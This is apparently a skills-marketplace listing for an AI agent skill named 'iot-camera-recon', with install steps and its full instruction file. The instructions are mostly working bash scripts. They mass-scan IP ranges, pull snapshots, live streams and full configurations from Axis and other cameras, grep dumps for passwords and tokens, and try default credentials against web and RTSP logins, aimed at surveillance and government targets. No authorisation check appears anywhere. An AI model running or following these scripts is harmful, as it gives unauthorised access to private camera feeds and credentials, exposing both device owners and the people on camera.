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Iot Camera Recon

CommunityPopular
uphiago
iot-camera-recon

Attack cameras via RTSP, ONVIF, Axis config when 554 open.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill nameiot-camera-recon
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Iot Camera Recon AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/iot-camera-recon .claude/skills/iot-camera-recon
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Iot Camera Recon in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Iot Camera Recon on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Iot Camera Recon is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

IoT Camera Recon Skill

IP camera assessment covering RTSP exposure, vendor configuration endpoints, ONVIF service enumeration, authentication controls, and firmware identification.

When to Use

  • port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).
  • Target is a physical security company, traffic management, or government surveillance.
  • Shodan search reveals camera devices in the target's IP range.
  • After port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.

Prerequisites

  • terminal with curl, python3.
  • For mass scanning: masscan or RustScan (see port-mass-scan).
  • VLC or ffmpeg for stream verification (optional).

How to Run

bash
# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50

# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json

Quick Reference

Camera BrandDefault HTTP PortSnapshot URLConfig URLDefault Creds
Axis80, 8010/axis-cgi/jpg/image.cgi/axis-cgi/admin/param.cgi?action=listroot:pass, root:admin
Hikvision80, 554/ISAPI/Streaming/channels/101/picture/System/configurationFile?auth=...admin:12345, admin:admin
Dahua80, 554/cgi-bin/snapshot.cgi/cgi-bin/configManager.cgi?action=getConfigadmin:admin, admin:password
Intelbras80/cgi-bin/snapshot.cgi/web/cgi-bin/hi3510/param.cgiadmin:admin, admin:123456
ONVIF80, 8899N/A (SOAP)/onvif/device_serviceadmin:admin

Procedure

Phase 1 — Mass Camera Discovery

bash
RANGE="$1"  # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"

echo "[*] Camera hunt on $RANGE"

# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"

# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
    ips = set()
    for line in f:
        try:
            data = json.loads(line.strip()) if line.strip() else {}
            ips.add(data.get('ip', ''))
        except: pass
    for ip in sorted(ips):
        print(ip)
" 2>/dev/null)

echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"

# Probe each with curl
echo "$HITS" | while read ip; do
  echo "--- $ip ---"

  # Axis snapshot
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
  [[ "$code" == "200" ]] && echo "  [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"

  # Axis config dump
  config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
  if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
    BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
    MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
    FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
    SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
    echo "  [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
    echo "$config" | wc -l | xargs echo "  Parameters:"
  fi

  # Generic RTSP
  for port in 554 8554; do
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
    [[ "$code" != "000" ]] && echo "  [RTSP] Port $port responds (HTTP $code)"
  done

  # ONVIF discovery (port 8899 or 80)
  for port in 8899 80; do
    resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
      -H "Content-Type: application/soap+xml" \
      -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
    if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
      echo "  [ONVIF] Device info available on port $port"
    fi
  done
done

Phase 2 — Axis Camera Full Exploitation

bash
IP="$1"

echo "[*] Axis camera exploitation on $IP"

# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"

# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"

# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20

# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"

# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
  [[ "$code" != "404" && "$code" != "000" ]] && echo "  Service: /axis-cgi/$svc/ (HTTP $code)"
done

Phase 3 — Default Credential Testing

bash
IP="$1"
BRAND="${2:-axis}"  # axis, hikvision, dahua, intelbras

echo "[*] Default credential test on $IP ($BRAND)"

# Brand-specific default credentials
case "$BRAND" in
  axis)
    CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
    AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
    ;;
  hikvision)
    CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
    AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
    ;;
  dahua)
    CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  intelbras)
    CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  *)
    CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
    AUTH_URL="http://$IP/"
    ;;
esac

for cred in "${CREDS[@]}"; do
  USER="${cred%%:*}"
  PASS="${cred##*:}"
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    -u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    echo "  [CRITICAL] DEFAULT CREDENTIALS: $cred"
  elif [[ "$code" == "401" ]]; then
    echo "  [-] $cred (auth failed)"
  else
    echo "  [$code] $cred"
  fi
done

Phase 4 — RTSP Stream Access

bash
IP="$1"
PORT="${2:-554}"

echo "[*] RTSP stream access on $IP:$PORT"

# Common RTSP paths
STREAMS=(
  "/live" "/stream" "/cam/realmonitor"
  "/h264" "/h264/ch1/main/av_stream"
  "/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
  "/axis-media/media.amp" "/onvif1" "/onvif2"
)

for stream in "${STREAMS[@]}"; do
  RTSP_URL="rtsp://$IP:$PORT$stream"
  echo -n "  $stream: "

  # Test with ffmpeg (2 second probe)
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  if [[ $? -eq 0 ]]; then
    echo "LIVE STREAM"
  else
    echo "no response"
  fi
done

# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
  RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  [[ $? -eq 0 ]] && echo "  [CRITICAL] RTSP stream accessible with $cred"
done

Pitfalls

  • CGNAT blocks direct camera access. Many cameras are behind carrier-grade NAT and unreachable from internet.
  • RTSP over UDP is unreliable. Use -rtsp_transport tcp for reliable stream testing.
  • Config dump can be LARGE. Axis configs are 50-200KB. Use --max-time to avoid hanging on slow connections.
  • Video streams are bandwidth-heavy. Test with snapshot first, then short stream probes.
  • Camera firmware is rarely updated. 2020 firmware on a 2026 scan is common — don't assume patches.

Verification

  • Snapshot URL MUST return a valid JPEG image (check with file command).
  • Config dump MUST contain camera-specific parameters (Brand, Model, Serial Number, Firmware Version).
  • RTSP stream MUST produce video frames (verified with ffprobe or VLC).
  • Default credentials MUST grant access to protected endpoints (HTTP 200 with auth vs 401 without).
  • All exposed parameters must be documented: brand, model, serial, firmware version, network config, credentials found.

Frequently asked questions

What does the Iot Camera Recon AI skill do?

Attack cameras via RTSP, ONVIF, Axis config when 554 open.

Why use Iot Camera Recon on TypingMind?

Because you install it once and use it with any model. Iot Camera Recon is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Iot Camera Recon in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Iot Camera Recon?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Iot Camera Recon?

As many as you like. As long as a model supports skills, you can use Iot Camera Recon with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Iot Camera Recon AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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